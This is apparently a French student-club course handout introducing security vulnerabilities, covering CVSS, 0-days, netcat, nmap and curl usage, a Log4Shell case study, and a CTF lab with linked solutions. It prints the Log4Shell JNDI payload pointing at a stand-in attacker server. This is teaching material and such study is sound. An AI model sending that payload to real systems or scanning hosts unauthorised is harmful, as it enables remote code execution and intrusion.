# Failles de sécurité

*Par Louis “Nullptr” Crespin*

Objectif : présenter l’univers des failles de sécurité

Non pas comment elles sont trouvées mais comment elles sont exploitées

Plan :

* Vocabulaire
* Cycle de vie d’une faille de sécurité
* Exploitation
* Quelques outils
* Exemple
* Challenges !

# Vocabulaire

## CVSS : Common Vulnerability Scoring System

Manière de classer les failles de sécurité

Score entre 0 et 10

Prend en compte : 

* le moyen d’entrer dans le système
* la complexité
* le type d’accès permis (données client…)
* la menace pour l’intégrité et la disponibilité
* la temporalité
* les systèmes réels concernés

 ![](https://notes.iiens.net/api/files.get?sig=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ1cGxvYWRzL2E5ODM5ZjZmLTE5NDctNDJkYy04NGJkLWVjN2M2YWNjMmU2Yy9kOWQ0MzU4Ni0xZDE4LTQ0ZTMtYjViNi03ZDZlM2IzYTNiMDcvaW1hZ2UucG5nIiwidHlwZSI6ImF0dGFjaG1lbnQiLCJpYXQiOjE3OTIyMTQxMDAsImV4cCI6MTc5MjMwMDUwMH0.9q1-kyeUwmI7roHCNETjk1Oknbk5SEwcItb1j6SwDWM " =813x365")

## Exploit

Programme ou extrait de programme permettant d’exploiter une faille de sécurité

## 0-day

Faille pour laquelle il n’y a aucun correctif connu : “jour 0” après sa publication

Marché des 0-day : en 2012 entre 5 000 $ et 250 000 $ (source Wikipedia)

Ex : Stuxnet, virus américano-israëlien contre le programme nucléaire iranien en 2010, utilisait plusieurs 0-day dans Windows

## Type de failles

* dépassement de tampon (buffer overflow)
* dépassement de tas (heap overflow)
* dépassement d'entier (integer overflow)
* dépassement de pile (stack overflow)
* format string attack
* situation de compétition (race condition)
* injection de code (code injection)
* injection SQL
* cross-site scripting (XSS)
* Remote Code Execution (RCE)
* Porte dérobée (Backdoor)

# Cycle de vie d’une faille de sécurité

* (Découverte par des hackers mal intentionnés)
* Découverte par des hackers bien intentionnés
* Exploit
* Publication auprès de l’éditeur du logiciel
* Patch
* Publication auprès du grand public
* CTF ;-)

# Exploitation

Pour exploiter des failles de sécurité connues :

* On cherche quels outils le système utilise
* Quelles versions il utilise
* On cherche s’il y a des exploits connus
* On les adapte à notre besoin

# Quelques outils

## Netcat

Outil très basique qui sert à établir des connexions TCP ou UDP

`**nc**`` ip port` : comme telnet/ssh, mais sans encryption

`nc -l -p port` : ouvre un serveur de connexion

## Nmap

Scanner les ports d’une machine, ou de toutes les machines d’un sous-réseau


:::warning
**Jamais** sur les infras d’ARISE !

:::

`nmap ip` : liste de tous les ports ouverts sur cette machine

```none
$ nmap 192.168.1.21
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-21 13:52 CET
Nmap scan report for 192.168.1.21
Host is up (0.015s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   open   http
139/tcp  open   netbios-ssn
445/tcp  open   microsoft-ds
8080/tcp open   http-proxy
8081/tcp closed blackice-icecap
```

## Curl

Commande pratique pour faire des requêtes “à la main”

`curl URL` : requête simple

`curl -o fichier URL` : sauvegarder dans `fichier`

`curl -H "Header: value" URL` : ajouter un header

`curl -u user:pass URL` : connexion à certains sites avec un login/password

…

# Exemple : Log4Shell

Log4J : bibliothèque de log en Java, développée par Apache

24 nov 2021 : faille découverte par Alibaba Group et partagée à Apache

6 déc 2021 : correctifs publiés

9 déc 2021 : faille publiée

CVSS 10

“la vulnérabilité la plus importante et la plus critique de la dernière décennie”

Exploit : `${jndi:ldap://serveur_pirate/message_malveillant}`

Permet d’exécuter du code Java téléchargé depuis un autre serveur => RCE

Exemples de logiciels concernés : ICloud, Minecraft, Steam

# Challenges !

flag à trouver, de la forme `FLAG{…}`

```none
gunzip -c lab.tar.gz | docker load
docker compose up -d
```

## Challenge 1

serveur telnet tournant sur le port 2323

## Challenge 2

serveur ftp

## Challenge 3

appli web

[challenges.zip 191717](https://notes.iiens.net/api/files.get?sig=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ1cGxvYWRzL2E5ODM5ZjZmLTE5NDctNDJkYy04NGJkLWVjN2M2YWNjMmU2Yy8xYTNlZDI0Yi0xZDU3LTQ1MTEtYjQ2Yy01OTVmNTQ5NGE3NDMvY2hhbGxlbmdlcy56aXAiLCJ0eXBlIjoiYXR0YWNobWVudCIsImlhdCI6MTc5MjIxNDEwMCwiZXhwIjoxNzkyMzAwNTAwfQ.1Mknz9Dt2nH2FdTMGdeLJODHXPfBrHjaPTn9pZ8PYvo)


[Solution.md 1025](https://notes.iiens.net/api/files.get?sig=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ1cGxvYWRzL2E5ODM5ZjZmLTE5NDctNDJkYy04NGJkLWVjN2M2YWNjMmU2Yy8yMThiZjJmMi0xMjYwLTQyZDYtOWY4MS1jMjI4YTI0YjU0ZTAvU29sdXRpb24ubWQiLCJ0eXBlIjoiYXR0YWNobWVudCIsImlhdCI6MTc5MjIxNDEwMCwiZXhwIjoxNzkyMzAwNTAwfQ.lrh5_YG8xmsp1YvlyWhO0wPizSVsW9KbYwQBaLYEQjk)